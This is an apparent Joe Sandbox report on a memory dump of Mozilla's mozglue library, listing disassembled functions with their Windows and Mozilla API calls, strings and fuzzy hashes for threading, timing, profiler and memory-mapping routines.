Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9655E1), ref: 6C96605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9655E1), ref: 6C9660CC

Strings

GeckoMain, xrefs: 6C965ECE, 6C966015

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 18007c623affa16d6fd482446bfd0e2da5a0232be5a4f48bdc9a41619676c588
Instruction ID: fe2a2cd9137c1a3b352bfc4f8bd3c8f569d5e34e782df34f2a83b2abc3ece42a
Opcode Fuzzy Hash: 18007c623affa16d6fd482446bfd0e2da5a0232be5a4f48bdc9a41619676c588
Instruction Fuzzy Hash: F871BFB0A09740DFD710DF25C480A6ABBF0BF69308F54496DE48687F92D730E998CB92

Function 6C969590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9531C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C953217
Part of subcall function 6C9531C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C953236
Part of subcall function 6C9531C0: FreeLibrary.KERNEL32 ref: 6C95324B
Part of subcall function 6C9531C0: __Init_thread_footer.LIBCMT ref: 6C953260
Part of subcall function 6C9531C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C95327F
Part of subcall function 6C9531C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C95328E
Part of subcall function 6C9531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9532AB
Part of subcall function 6C9531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9532D1
Part of subcall function 6C9531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9532E5
Part of subcall function 6C9531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C9532F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C969675
__Init_thread_footer.LIBCMT ref: 6C969697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C9696E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C969707
__Init_thread_footer.LIBCMT ref: 6C96971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C969773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C9697B7
FreeLibrary.KERNEL32 ref: 6C9697D0
FreeLibrary.KERNEL32 ref: 6C9697EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C969824

Strings

NtMapViewOfSection, xrefs: 6C969701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C969670
ntdll.dll, xrefs: 6C9696E3
MapViewOfFileNuma2, xrefs: 6C9697B1

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 0459d1096e69e22618129d6624f471f749d87a7f229ab371141dc1b5634dd1d8
Instruction ID: ad7bde9eeb5b4c124e74dcc735da0b360ff8e9eaf5045ce9313fcdfbf664f9e2
Opcode Fuzzy Hash: 0459d1096e69e22618129d6624f471f749d87a7f229ab371141dc1b5634dd1d8
Instruction Fuzzy Hash: A361E871608B05DBEF00CF65D885BDA7BB5EB4AB18F218519E915A7BC0D730F884CB91

Function 6C967FD0 Relevance: 24.2, APIs: 16, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C968007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C96801D

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C96802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C96803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C96808D

Part of subcall function 6C96CA10: mozalloc_abort.MOZGLUE(?), ref: 6C96CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C96809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C9680B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C9680DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9680ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9680FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C96810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C968133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C968149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C968167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C96817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C968199

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID:
API String ID: 2721933968-0
Opcode ID: c14b556d18c1698bfe8f38f2806a745741d886637b5ffda01ac28f81f30d86a6
Instruction ID: 65d4232a91dd285b52f2b3a9989be4e44a64ab7fc317eff88c13f0904f252403
Opcode Fuzzy Hash: c14b556d18c1698bfe8f38f2806a745741d886637b5ffda01ac28f81f30d86a6
Instruction Fuzzy Hash: 8A5196B1E001449BEF10DFA6DC849DFB7B9AF69224F250525E815E7781E730D904CBA2

Function 6C9B6660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C9DF618), ref: 6C9B6694
GetThreadId.KERNEL32(?), ref: 6C9B66B1
GetCurrentThreadId.KERNEL32 ref: 6C9B66B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C9B66E1
EnterCriticalSection.KERNEL32(6C9DF618), ref: 6C9B6734
GetCurrentProcess.KERNEL32 ref: 6C9B673A
LeaveCriticalSection.KERNEL32(6C9DF618), ref: 6C9B676C
GetCurrentThread.KERNEL32 ref: 6C9B67FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C9B6868
RtlCaptureContext.NTDLL ref: 6C9B687F

Strings

WalkStack64, xrefs: 6C9B6890

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 34f86f125093d951fe572f2d0265088715f95f22d465a7dddd451c0cb2d06836
Instruction ID: 7c12e1498edf45aa59936eb09e11e5efdcb7c3a4f13503f9025c66312e0df1ec
Opcode Fuzzy Hash: 34f86f125093d951fe572f2d0265088715f95f22d465a7dddd451c0cb2d06836
Instruction Fuzzy Hash: 3451BA71A09701AFDB15CF24C884A5BBBF8BF89714F10892DF999A7640D770F948CB92

Function 6C99DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99DE73
GetCurrentThreadId.KERNEL32 ref: 6C99DF7D
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99DF8A
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99DFC9
GetCurrentThreadId.KERNEL32 ref: 6C99DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C964A68), ref: 6C99DE7B

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C964A68), ref: 6C99DEB8
free.MOZGLUE(00000000,?,6C964A68), ref: 6C99DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C99DF38

Strings

[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C99E00E
<none>, xrefs: 6C99DFD7
[I %d/%d] locked_profiler_stop, xrefs: 6C99DE83

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: f902343b7e8b750820e3b2788a3436ee2b01a62e8fa9e5a762b260bd1e6e05b7
Instruction ID: c88251a2a4174e7d531eee6086474c1a255687f447204ce14e138000e4d58790
Opcode Fuzzy Hash: f902343b7e8b750820e3b2788a3436ee2b01a62e8fa9e5a762b260bd1e6e05b7
Instruction Fuzzy Hash: 9F411632705A119FDB109F64C8497AE7779EB9530DF284019E90AA7F01CB30F855CBE2

Function 6C9AD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9AD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9AD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9AD52A
GetCurrentThreadId.KERNEL32 ref: 6C9AD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9AD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9AD55F
free.MOZGLUE(00000000), ref: 6C9AD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C9AD5D3
GetCurrentThreadId.KERNEL32 ref: 6C9AD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9AD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9AD652
GetCurrentThreadId.KERNEL32 ref: 6C9AD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9AD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9AD6A2

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 92ef6caa1a516a407137336b66fef06897dc76b776a3bfbcb36d562016187863
Instruction ID: 68bd373f28a8817a722e4300504dce52bd0854999d4ed2a5bf06be0fe8af245e
Opcode Fuzzy Hash: 92ef6caa1a516a407137336b66fef06897dc76b776a3bfbcb36d562016187863
Instruction Fuzzy Hash: 92516CB1608B05DFC704DF65C484A9ABBB4FF89358F108A2EE95A97710DB30F985CB91

Function 6C975670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C9756D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9756E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C9756F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C975744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C9757BC
GetTickCount64.KERNEL32 ref: 6C9758CB
EnterCriticalSection.KERNEL32(6C9DF688), ref: 6C9758F3
__aulldiv.LIBCMT ref: 6C975945
LeaveCriticalSection.KERNEL32(6C9DF688), ref: 6C9759B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C9DF638,?,?,?,?), ref: 6C9759E9

Strings

MOZ_APP_RESTART, xrefs: 6C9756CC

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 1422a52247983133444d46003c9a7ab35bdaac4d537a3addc9463b15dad1ce90
Instruction ID: bb7ff651eae94081bea50f32eb7a2595acfb432eff971e952c837c617aba6349
Opcode Fuzzy Hash: 1422a52247983133444d46003c9a7ab35bdaac4d537a3addc9463b15dad1ce90
Instruction Fuzzy Hash: 39C17B31A0D7449BDB05CF28C44166AB7F1BFDA718F558A1DE8C4A7A60E730E885CB92

Function 6C99EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99EC8C

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

GetCurrentThreadId.KERNEL32 ref: 6C99ECA1
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C99ECC5
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C99ED19
CloseHandle.KERNEL32(?), ref: 6C99ED28
free.MOZGLUE(00000000), ref: 6C99ED2F
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C99EC94

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: d4937314aa601eec71b819a7b99e2bd8cff1d8a644b01e99f89ccfb1b1409e4e
Instruction ID: 70f63d3fafa89faf754d6faa4af9d2e5a158a95f6ecc2334fac8ed53db4be5fc
Opcode Fuzzy Hash: d4937314aa601eec71b819a7b99e2bd8cff1d8a644b01e99f89ccfb1b1409e4e
Instruction Fuzzy Hash: C121E575604904AFDB009F64DC09A9A3779FB5626DF288210FD18A7B41DB31E845CBF1

Function 6C998ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C95EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C95EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C99B392,?,?,00000001), ref: 6C9991F4

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

Strings

marker-chart, xrefs: 6C99905E
timeline-ipc, xrefs: 6C999096
data, xrefs: 6C9990E8
timeline-memory, xrefs: 6C999088
timeline-overview, xrefs: 6C99907A
marker-table, xrefs: 6C99906C
stack-chart, xrefs: 6C9990B2
timeline-fileio, xrefs: 6C9990A4
name, xrefs: 6C998F16

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: cc90420369a66cf8a08d1e553cab1106601618aaf05d94b7e8b8fdcd7246b513
Instruction ID: 618ba5d754fdee7efc7bfc10d229741b723f6b50baf2371298d3e58226ead686
Opcode Fuzzy Hash: cc90420369a66cf8a08d1e553cab1106601618aaf05d94b7e8b8fdcd7246b513
Instruction Fuzzy Hash: 70B1D0B1B012099BDF04CF95C4917AEBBB9BF94318F254019D506ABF80D731EA55CBE2

Function 6C97C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C97C5A3
WideCharToMultiByte.KERNEL32 ref: 6C97C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C97C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C97CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C97CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C97CAA5

Strings

0, xrefs: 6C97D30A
(null), xrefs: 6C97C596

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 0324a7c0cdf1862f30eface0011c21295c04e9f75ffda72836644bdf86138f2d
Instruction ID: 1e302c6cb67bae7911c58ead7639e4d65c65649c2d40d78be8b09cfda47b0d90
Opcode Fuzzy Hash: 0324a7c0cdf1862f30eface0011c21295c04e9f75ffda72836644bdf86138f2d
Instruction Fuzzy Hash: FFA1AC3160A342DFDB20DF28C58475ABBF5AF89748F14892DE889D7741DB31E905CBA2

Function 6C97C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C97C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C97C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C97C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C97C891

Strings

inf, xrefs: 6C97C78F
INF, xrefs: 6C97C794
NAN, xrefs: 6C97C7AD
nan, xrefs: 6C97C7A8

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 66aa5a0833324fa60b0de82abf3715e460e1bc783501e651ab6a1b86c527e2a3
Instruction ID: 2f305e3f688d0ed2e8eb71c9c224969827342a6f33d9ce131dc7cd59fbb20936
Opcode Fuzzy Hash: 66aa5a0833324fa60b0de82abf3715e460e1bc783501e651ab6a1b86c527e2a3
Instruction Fuzzy Hash: 825181716097408BDB10DF6CC48129AFBF4BF9A304F008A2DE9D5A7651E770D985CB52

Function 6C954480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C994843,?), ref: 6C9545F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C994843,?), ref: 6C95468A
free.MOZGLUE(?,?,?,?,?,?,6C994843,?), ref: 6C9546C9
free.MOZGLUE(?), ref: 6C9546EF
free.MOZGLUE(?), ref: 6C954712
free.MOZGLUE(?), ref: 6C954735
free.MOZGLUE(?), ref: 6C954758
free.MOZGLUE(?), ref: 6C95477B
free.MOZGLUE(?), ref: 6C95479E

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 1297ab7353abfaaf5ee4baef0893af31b347e8342cbd31d04d5094d9dc3d3efa
